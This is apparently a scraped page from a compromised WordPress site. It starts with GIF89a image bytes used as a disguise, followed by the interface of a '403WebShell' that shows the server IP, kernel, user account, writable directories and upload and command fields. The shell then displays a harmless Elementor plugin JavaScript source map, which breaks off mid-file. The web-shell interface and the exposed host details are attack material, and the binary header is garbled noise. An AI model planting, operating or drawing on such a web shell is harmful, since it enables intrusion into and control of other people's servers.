GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.243
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/dangroup.sa/wp-content/plugins/wcf-addons-pro/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/dangroup.sa/wp-content/plugins/wcf-addons-pro/assets/js/wcf-addons-pro.js.map
{"version":3,"file":"wcf-addons-pro.js","names":["$","adminbar_height","height","window","on","device_width","width","elementorBreakpoints","elementorFrontend","config","responsive","activeBreakpoints","Modules","elementorModules","frontend","handlers","Base","gsap","_typeof","gsap_mm","matchMedia","horizontal_scroll","extend","bindEvents","run","getElementSettings","sections","$element","children","element","hasClass","length","addClass","match_media_key","breakpoint","value","css","to","xPercent","ease","scrollTrigger","trigger","pin","scrub","add","concat","hover_image","isEdit","find","append","setTimeout","image","mouseenter","e","delay","duration","autoAlpha","mouseleave","mousemove","contentBox","getBoundingClientRect","dx","clientX","x","dy","clientY","y","set","cursor_hover_effect","widget_id","getID","text","cursor","prepend","getWidgetType","findElement","yPercent","scale","setCursorX","quickTo","setCursorY","tl","timeline","paused","opacity","document","play","html","reverse","_i","_arr","$skin","hooks","addAction","$scope","elementsHandler","addHandler","scroll_elements","links","images","data_navigation","data","data_image","start","end","pinSpacing","markers","each","index","item","scrollTo","autoKill","removeClass","i","section","ScrollTrigger","create","onToggle","self","isActive","onStart","_targets","cursor_enable","getKitSettings","cursor_follower","hide","show","setCursorFollowerX","setCursorFollowerY","advance_portfolio","animationSettings","animate_portfolio_content_five","animate_portfolio_content_three","animate_portfolio_content_four","animate_portfolio_content_eight","section_title","portfolioline","portfolio","t1","position","rotateX","arguments","undefined","skewSetter","clamp","utils","smoother","ScrollSmoother","smooth","smoothTouch","normalizeScroll","ignoreMobileResize","onUpdate","getVelocity","onStop","fn","wcf_tilt","options","_this","settings","maxTilt","perspective","easing","speed","reset","transition","cx","innerWidth","cy","innerHeight","tiltx","tilty","transform","slider","go","dir","playing","up","part","next","appendChild","_objectSpread","animOptions","then","remove","down","current","slide_item","p","parts","createElement","href","attr","className","innerHTML","Math","max","wheel","clearTimeout","scrollTimeout","deltaY","querySelector","style","display","cols","main","getElementById","col","el","setProperty","push","Power4","easeInOut","addEventListener","alls","querySelectorAll","classList","advance_portfolio_skin","applyFilters","_iterator","_createForOfIteratorHelper","_step","s","n","done","err","f","advance_portfolio_nine","items","total","addFilter","new_slider","Object","assign","toggle_switcher","checked","toggle_pane","toggle_label","change","toggleClass","filter_gallery","mixitUp","mixitup","magnificPopup","type","wrapper_link","anchor","click","table_of_content","getDefaultSettings","elementSettings","listWrapperTag","marker_view","selectors","widgetContainer","postContentContainer","expandButton","collapseButton","body","headerTitle","classes","listWrapper","listItem","listTextWrapper","firstLevelListItem","listItemText","activeItem","headingAnchor","collapsed","getDefaultElements","getSettings","$pageContainer","getContainer","$widgetContainer","$expandButton","$collapseButton","$tocBody","$listItems","container","jQuery","$documentWrapper","parents","getHeadings","tags","headings_by_tags","join","excludedSelectors","exclude_headings_by_selector","elements","not","filter","heading","closest","handleNoHeadingsFound","noHeadingsText","getHeadingAnchorLink","headingID","$headings","id","wrapperID","anchorLink","setHeadingsData","_this2","headingsData","tag","nodeName","slice","textContent","addAnchorsBeforeHeadings","_this3","before","activateItem","$listItem","deactivateActiveItem","$activeItem","$activeList","parent","eq","stop","slideDown","$activeToBe","is","_this$getSettings","contains","slideUp","followAnchor","_this4","anchorSelector","hash","$anchor","decodeURIComponent","waypoint","direction","itemClicked","viewportItems","$listItemTexts","offset","triggerOnce","keys","followAnchors","_this5","populateTOC","listItemPointer","hierarchical_view","createNestedList","createFlatList","onListItemClick","bind","isEditMode","_this6","forEach","level","currentOrderedItem","getNestedLevel","icon","renderedIcon","experimentalFeatures","e_font_icon_svg","rendered_tag","currentItem","listItemTextClasses","liContent","nextItem","collapseBodyListener","_this7","minimize_box","expandBox","event","triggerClickOnEnterSpace","collapseBox","collapse_subitems","target","slideToggle","_this8","$clickedItem","$list","collapseNestedList","listIsActive","changeFocus","boxHeight","getCurrentDeviceSetting","size","unit","ENTER_KEY","SPACE_KEY","keyCode","currentTarget","stopPropagation","breakpoints","getActiveBreakpointsList","withDesktop","minimizedOn","currentDeviceMode","getCurrentDeviceMode","isCollapsed","indexOf","image_accordion","_this9","expand","accordionItems","openAccordion","single","scrollToTop","progressPath","pathLength","getTotalLength","WebkitTransition","strokeDasharray","strokeDashoffset","updateProgress","scroll","scrollTop","progress","top","behavior","preloader","ready","scrollIndicator","handleScrollIndicator","maxHeight","scrollHeight","widthPercentage","scrollY","wcf_header_settings","header"],"sources":["wcf-addons-pro.js"],"sourcesContent":["/* global WCF_ADDONS_JS */\r\n(function ($) {\r\n    /**\r\n     * @param $scope The Widget wrapper element as a jQuery element\r\n     * @param $ The jQuery alias\r\n     */\r\n    let adminbar_height = $('#wpadminbar').height();\r\n\r\n    // Make sure you run this code under Elementor.\r\n    $(window).on('elementor/frontend/init', function () {\r\n        const device_width = $(window).width();\r\n        const elementorBreakpoints = elementorFrontend.config.responsive.activeBreakpoints;\r\n        const Modules = elementorModules.frontend.handlers.Base;\r\n\r\n\r\n        //gsap related\r\n        if ('object' === typeof gsap) {\r\n\r\n            let gsap_mm = gsap.matchMedia();\r\n\r\n            //horizontal scroll\r\n            const horizontal_scroll = Modules.extend({\r\n                bindEvents: function bindEvents() {\r\n                    this.run();\r\n                },\r\n\r\n                run: function run() {\r\n                    if (this.getElementSettings('wcf_enable_horizontal_scroll')) {\r\n\r\n                        let sections = this.$element.children();\r\n                        let element = this.$element;\r\n                        let width = this.getElementSettings('horizontal_scroll_width');\r\n                        width = width['size'] + width['unit'];\r\n\r\n                        if (this.$element.hasClass('e-con-boxed')) {\r\n                            element = this.$element.children();\r\n                            sections = this.$element.children('.e-con-inner').children();\r\n                        }\r\n                        if (!sections.length) {\r\n                            return\r\n                        }\r\n                        element.addClass('wcf-horizontal-scroll')\r\n\r\n                        let match_media_key = 'all';\r\n\r\n                        //if has min max key\r\n                        if (this.getElementSettings('horizontal_scroll_breakpoint')) {\r\n                            const breakpoint = elementorBreakpoints[this.getElementSettings('horizontal_scroll_breakpoint')].value + 1;\r\n                            match_media_key = 'min-width: ' + breakpoint + 'px';\r\n                        }\r\n\r\n                        if ('all' === match_media_key) {\r\n                            element.css({'width': width, 'max-width': width, 'transition': 'none', 'height': '100%'});\r\n                            sections.css({'transition': 'none', 'height': '100%'})\r\n                            gsap.to(sections, {\r\n                                xPercent: -100 * (sections.length - 1),\r\n                                ease: \"none\",\r\n                                scrollTrigger: {\r\n                                    trigger: element,\r\n                                    pin: true,\r\n                                    scrub: 1,\r\n                                    // // base vertical scrolling on how wide the container is so it feels more natural.\r\n                                    // end: \"+=3500\", if height is not vh create an extra space\r\n                                }\r\n                            });\r\n                            return () => {\r\n                                // custom cleanup code here (runs when it STOPS matching)\r\n                                element.css({\r\n                                    'width': 'var(--width)',\r\n                                    'max-width': 'min(100%,var(--width))',\r\n                                    'height': 'auto'\r\n                                });\r\n                            };\r\n                        } else {\r\n                            gsap_mm.add(`(${match_media_key})`, () => {\r\n                                element.css({\r\n                                    'width': width,\r\n                                    'max-width': width,\r\n                                    'transition': 'none',\r\n                                    'height': '100%'\r\n                                });\r\n                                sections.css({'transition': 'none', 'height': '100%'})\r\n                                gsap.to(sections, {\r\n                                    xPercent: -100 * (sections.length - 1),\r\n                                    ease: \"none\",\r\n                                    scrollTrigger: {\r\n                                        trigger: element,\r\n                                        pin: true,\r\n                                        scrub: 1,\r\n                                        // // base vertical scrolling on how wide the container is so it feels more natural.\r\n                                        // end: \"+=3500\", if height is not vh create an extra space\r\n                                    }\r\n                                });\r\n                                return () => {\r\n                                    // custom cleanup code here (runs when it STOPS matching)\r\n                                    element.css({\r\n                                        'width': 'var(--width)',\r\n                                        'max-width': 'min(100%,var(--width))',\r\n                                        'height': 'auto'\r\n                                    });\r\n                                };\r\n                            });\r\n                        }\r\n                    }\r\n\r\n                },\r\n            });\r\n\r\n            //image hover effect\r\n            const hover_image = Modules.extend({\r\n                bindEvents: function bindEvents() {\r\n                    this.run();\r\n                },\r\n\r\n                run: function run() {\r\n                    if (this.getElementSettings('wcf_enable_hover_image')) {\r\n\r\n                        if (this.isEdit && !this.getElementSettings('wcf_enable_hover_image_editor')) {\r\n                            return;\r\n                        }\r\n\r\n                        const element = $(this.$element);\r\n\r\n                        if (0 === element.find('.wcf-image-hover').length) {\r\n                            element.append('<div class=\"wcf-image-hover\"></div>');\r\n                        }\r\n\r\n                        setTimeout(() => {\r\n\r\n                            const image = $(element.find('.wcf-image-hover'));\r\n\r\n                            $(element).mouseenter(function (e) {\r\n                                gsap.to(image, {delay: 0, duration: 0, autoAlpha: 1})\r\n                            });\r\n\r\n                            $(element).mouseleave(function (e) {\r\n                                gsap.to(image, {delay: 0, duration: 0, autoAlpha: 0})\r\n                            });\r\n\r\n                            $(element).mousemove(function (e) {\r\n\r\n                                const contentBox = element[0].getBoundingClientRect();\r\n\r\n                                const dx = e.clientX - contentBox.x;\r\n                                const dy = e.clientY - contentBox.y;\r\n\r\n                                gsap.set(image, {delay: 0, duration: 0, x: dx, y: dy})\r\n                            });\r\n\r\n                        }, 100);\r\n\r\n                    }\r\n\r\n                },\r\n            });\r\n\r\n            //cursor hover effect\r\n            const cursor_hover_effect = Modules.extend({\r\n                bindEvents: function bindEvents() {\r\n                    this.run();\r\n                },\r\n\r\n                run: function run() {\r\n\r\n                    if (this.getElementSettings('wcf_enable_cursor_hover_effect')) {\r\n                        const widget_id = this.getID();\r\n                        const text = this.getElementSettings('wcf_enable_cursor_hover_effect_text');\r\n\r\n                        let cursor = $(`.wcf-hover-cursor-effect.active-${widget_id}`);\r\n\r\n                        if (this.isEdit && !this.getElementSettings('wcf_enable_cursor_hover_effect_editor')) {\r\n                            cursor.css({'display': 'none'})\r\n                            return;\r\n                        }\r\n\r\n                        cursor.css({'display': 'flex'})\r\n\r\n                        if (!$(`.wcf-hover-cursor-effect.active-${widget_id}`).length) {\r\n                            $('body').prepend(`<div class=\"wcf-hover-cursor-effect active-${widget_id}\"></div>`);\r\n                        }\r\n\r\n                        cursor = $(`.wcf-hover-cursor-effect.active-${widget_id}`);\r\n\r\n                        let element = $(this.$element);\r\n\r\n                        if ('wcf--a-portfolio' === this.getWidgetType()) {\r\n                            element = $(this.findElement('article'))\r\n                        }\r\n\r\n                        gsap.set(cursor, {\r\n                            xPercent: -50,\r\n                            yPercent: -50,\r\n                            scale: 0\r\n                        });\r\n\r\n                        const setCursorX = gsap.quickTo(cursor, \"x\", {\r\n                            duration: 0.6,\r\n                            ease: \"expo\"\r\n                        });\r\n\r\n                        const setCursorY = gsap.quickTo(cursor, \"y\", {\r\n                            duration: 0.6,\r\n                            ease: \"expo\"\r\n                        });\r\n\r\n                        const tl = gsap.timeline({\r\n                            paused: true\r\n                        });\r\n\r\n                        tl.to(cursor, {\r\n                            scale: 1,\r\n                            opacity: 1,\r\n                            duration: 0.5,\r\n                            ease: \"expo.inOut\"\r\n                        });\r\n\r\n                        $(document).mousemove(function (e) {\r\n                            setCursorX(e.clientX);\r\n                            setCursorY(e.clientY);\r\n                        });\r\n\r\n                        $(element).mouseenter((e) => {\r\n                            tl.play();\r\n                            cursor.html(text);\r\n                        });\r\n\r\n                        $(element).mouseleave((e) => {\r\n                            tl.reverse();\r\n                        });\r\n                    }\r\n                },\r\n\r\n            });\r\n\r\n            for (const $skin of [\r\n                'skin-portfolio-one',\r\n                'skin-portfolio-two',\r\n                'skin-portfolio-three',\r\n                'skin-portfolio-four',\r\n                'skin-portfolio-five',\r\n                'skin-portfolio-six',\r\n                'skin-portfolio-seven',\r\n                'skin-portfolio-eight',\r\n                'skin-portfolio-nine',\r\n            ]) {\r\n                elementorFrontend.hooks.addAction(`frontend/element_ready/wcf--a-portfolio.${$skin}`, function ($scope) {\r\n                    elementorFrontend.elementsHandler.addHandler(cursor_hover_effect, {\r\n                        $element: $scope\r\n                    });\r\n                });\r\n            }\r\n            elementorFrontend.hooks.addAction('frontend/element_ready/container', function ($scope) {\r\n                elementorFrontend.elementsHandler.addHandler(hover_image, {\r\n                    $element: $scope\r\n                });\r\n                elementorFrontend.elementsHandler.addHandler(cursor_hover_effect, {\r\n                    $element: $scope\r\n                });\r\n                elementorFrontend.elementsHandler.addHandler(horizontal_scroll, {\r\n                    $element: $scope\r\n                });\r\n            });\r\n\r\n            //scroll elements\r\n            const scroll_elements = function ($scope) {\r\n                const links = $(\".scroll-title\", $scope);\r\n                const images = $(\".image-wrap img\", $scope);\r\n                const sections = $(\".single-content\", $scope);\r\n                const data_navigation = $('.wcf--scroll-elements', $scope).data('navigation')\r\n                const data_image = $('.wcf--scroll-elements', $scope).data('image')\r\n\r\n                if ('yes' === data_navigation) {\r\n                    gsap.timeline({\r\n                        scrollTrigger: {\r\n                            trigger: $scope,\r\n                            start: \"top top\",\r\n                            end: \"bottom bottom\",\r\n                            pin: $('.scroll-nav-bar', $scope),\r\n                            pinSpacing: false,\r\n                            scrub: true,\r\n                            markers: false\r\n                        }\r\n                    });\r\n\r\n                    links.each((index, item) => {\r\n                        $(item).on('click', function (e) {\r\n                            gsap.to(window, {\r\n                                duration: 1,\r\n                                scrollTo: {y: sections[index], autoKill: true, ease: \"power2\"}\r\n                            });\r\n                            links.removeClass(\"active\");\r\n                            $(this).addClass(\"active\");\r\n                        })\r\n                    })\r\n                }\r\n\r\n                if ('yes' === data_image) {\r\n                    gsap.timeline({\r\n                        scrollTrigger: {\r\n                            trigger: $scope,\r\n                            pin: $('.scroll-images', $scope),\r\n                            pinSpacing: false,\r\n                            start: \"top top\",\r\n                            end: \"bottom bottom\",\r\n                            markers: false\r\n                        }\r\n                    })\r\n                }\r\n\r\n                if ('yes' === data_navigation || 'yes' === data_image) {\r\n                    sections.each((i, section) => {\r\n                        ScrollTrigger.create({\r\n                            trigger: section,\r\n                            start: \"top center\",\r\n                            end: \"bottom center\",\r\n                            markers: false,\r\n                            onToggle: self => {\r\n                                if (self.isActive) {\r\n                                    if ('yes' === data_navigation) {\r\n                                        gsap.to(links[i], {\r\n                                            scale: 1, //1.3\r\n                                            onStart: function () {\r\n                                                $(this._targets).addClass('active')\r\n                                            }\r\n                                        })\r\n                                    }\r\n                                    if ('yes' === data_image) {\r\n                                        gsap.to(images[i], {\r\n                                            opacity: 1,\r\n                                            duration: 1,\r\n                                            scale: 1,\r\n                                        })\r\n                                    }\r\n\r\n                                } else {\r\n                                    if ('yes' === data_navigation) {\r\n                                        gsap.to(links[i], {\r\n                                            scale: 1,\r\n                                            onStart: function () {\r\n                                                $(this._targets).removeClass('active')\r\n                                            }\r\n                                        })\r\n                                    }\r\n                                    if ('yes' === data_image) {\r\n                                        gsap.to(images[i], {\r\n                                            opacity: 0,\r\n                                            duration: 1,\r\n                                            scale: 1.2,\r\n                                        })\r\n                                    }\r\n                                }\r\n                            }\r\n                        });\r\n                    })\r\n                }\r\n            }\r\n            elementorFrontend.hooks.addAction(`frontend/element_ready/wcf--scroll-elements.default`, scroll_elements);\r\n\r\n            //wcf cursor\r\n            const cursor = function () {\r\n\r\n                const cursor_enable = elementorFrontend.getKitSettings('wcf_enable_cursor');\r\n\r\n                if (!cursor_enable) {\r\n                    return;\r\n                }\r\n\r\n                const cursor = $('.wcf-cursor');\r\n                const cursor_follower = $('.wcf-cursor-follower');\r\n\r\n                const breakpoint = elementorBreakpoints[elementorFrontend.getKitSettings('wcf_cursor_breakpoint')].value;\r\n\r\n                if ($(window).width() < breakpoint) {\r\n                    cursor.hide()\r\n                    cursor_follower.hide()\r\n                    return;\r\n                }\r\n\r\n                cursor.css('display', 'flex')\r\n                cursor_follower.show()\r\n\r\n\r\n                gsap.set(cursor, {\r\n                    xPercent: -50,\r\n                    yPercent: -50,\r\n                    scale: 0\r\n                });\r\n\r\n                gsap.set(cursor_follower, {\r\n                    xPercent: -50,\r\n                    yPercent: -50,\r\n                    scale: 0\r\n                });\r\n\r\n                const setCursorX = gsap.quickTo(cursor, \"x\", {\r\n                    duration: 0.6,\r\n                    ease: \"power4.out\"\r\n                });\r\n\r\n                const setCursorFollowerX = gsap.quickTo(cursor_follower, \"x\", {\r\n                    duration: 0.6,\r\n                    ease: \"power4.out\"\r\n                });\r\n\r\n                const setCursorY = gsap.quickTo(cursor, \"y\", {\r\n                    duration: 0.6,\r\n                    ease: \"power4.out\"\r\n                });\r\n\r\n                const setCursorFollowerY = gsap.quickTo(cursor_follower, \"y\", {\r\n                    duration: 0.6,\r\n                    ease: \"power4.out\"\r\n                });\r\n\r\n                const tl = gsap.timeline({\r\n                    paused: true\r\n                });\r\n\r\n                tl.to(cursor, {\r\n                    scale: 1,\r\n                    opacity: 1,\r\n                    duration: 0.5,\r\n                    ease: \"power4.out\"\r\n                });\r\n\r\n                tl.to(cursor_follower, {\r\n                    scale: 1,\r\n                    opacity: 1,\r\n                    duration: 0.5,\r\n                    ease: \"power4.out\"\r\n                });\r\n\r\n                $(document).mousemove(function (e) {\r\n                    tl.play();\r\n                    setCursorX(e.clientX);\r\n                    setCursorY(e.clientY);\r\n                    setCursorFollowerX(e.clientX);\r\n                    setCursorFollowerY(e.clientY);\r\n                });\r\n            }\r\n\r\n            cursor();\r\n\r\n            //advance portfolio\r\n            const advance_portfolio = function ($scope) {\r\n\r\n                const animationSettings = $('.wcf--advance-portfolio', $scope).data('animation-settings');\r\n\r\n                if ('yes' === animationSettings['enable']) {\r\n\r\n                    if ('skin-portfolio-five' === animationSettings['skin']) {\r\n                        animate_portfolio_content_five($scope);\r\n                    }\r\n\r\n                    if ($scope.hasClass('elementor-element-edit-mode') && '' === animationSettings['enable_editor']) {\r\n                        return;\r\n                    }\r\n\r\n                    if (animationSettings['breakpoint']) {\r\n                        const breakpoint = elementorBreakpoints[animationSettings['breakpoint']].value;\r\n                        gsap_mm.add(`(${'min-width: ' + breakpoint + 'px'})`, () => {\r\n\r\n                            if ('skin-portfolio-three' === animationSettings['skin']) {\r\n                                animate_portfolio_content_three($scope, animationSettings);\r\n                            }\r\n\r\n                            if ('skin-portfolio-four' === animationSettings['skin']) {\r\n                                animate_portfolio_content_four($scope, animationSettings);\r\n                            }\r\n                        });\r\n\r\n                    } else {\r\n                        if ('skin-portfolio-three' === animationSettings['skin']) {\r\n                            animate_portfolio_content_three($scope, animationSettings);\r\n                        }\r\n\r\n                        if ('skin-portfolio-four' === animationSettings['skin']) {\r\n                            animate_portfolio_content_four($scope, animationSettings);\r\n                        }\r\n                    